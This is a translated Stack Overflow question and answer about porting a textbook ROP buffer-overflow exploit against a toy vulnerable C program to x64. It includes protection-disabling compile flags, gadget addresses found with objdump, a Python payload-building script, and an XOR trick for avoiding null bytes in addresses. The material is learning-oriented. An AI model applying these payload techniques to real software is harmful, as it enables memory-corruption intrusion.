首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >ROP漏洞:地址包含空字节

ROP漏洞:地址包含空字节
EN

Stack Overflow用户
提问于 2021-06-10 21:49:10
回答 1查看 281关注 0票数 1

我目前正在尝试将一个简单的ROP攻击的this example改编成x64。相应地,在编译程序时:

代码语言:javascript
复制
gcc -O0 -g -static -fno-stack-protector -no-pie -o simple_rop64 ./simple_rop.c

在尝试调整函数的使用地址(使用gdb)时,我遇到了以下问题。例如,lazy()函数的x64地址在0x401b9d,其仅为三个字节。因此,struct.pack将添加一个空字节。

因此,python解释器在执行以下错误消息时将抛出错误:

代码语言:javascript
复制
python rop_exploit.py 
[...]
os.system("./simple_rop64 \"%s\"" % payload)
TypeError: system() argument 1 must be string without null bytes, not str

对于这个易受攻击的程序,有没有可能使用这个函数地址(始终只有三个字节)?或者我必须以其他方式调整它?

谢谢你的帮助。

在这里我调整了python脚本

代码语言:javascript
复制
    #Find gadgets

#objdump -d simple_rop64 | grep --color -E -A2 "pop +%rbp"
#47c54a:    5d                      pop    %rbp
#47c54b:    c3                      retq 
pop_ret = 0x47c54a # start address of a pop,ret sequence

#objdump -d simple_rop32 | grep --color -A2 8049ca4
#8049ca4:   5f                      pop    %edi
#8049ca5:   5d                      pop    %ebp
#8049ca6:   c3                      ret 
pop_pop_ret = 0x8049ca4 # start address of a pop,pop,ret sequence

lazy = 0x401b9d # objdump -d | grep lazy
food = 0x401bb0 # objdump -d | grep food
feeling_sick = 0x401c0c # objdump -d | grep feeling_sick

#Buffer Overflow
#0x0000000000401d0d <+45>:  lea    -0x70(%rbp),%rax
payload = "A"*0x70
# Saved RBP register
payload += "BBBBBBBB"

#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)

#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)

payload += struct.pack("I", lazy)

os.system("./simple_rop64 \"%s\"" % payload)
EN

回答 1

Stack Overflow用户

发布于 2021-06-11 23:38:00

You can't。相反,您可以找到一个执行特定操作的小工具,然后在您的利用中执行相反的操作。

例如,如果你找到一个做xor eax, 0xFFFFFFFF的小工具,你可以用它对你的地址进行异或运算(0x401b9d ^ 0xFFFFFFFF = 0xFFBFE462),这样它就能容纳4个字节。将这个中间值popeax中并调用您的小工具,以便您的中间值成为您想要的地址。然后你就跳到它上面去。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/67922511

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档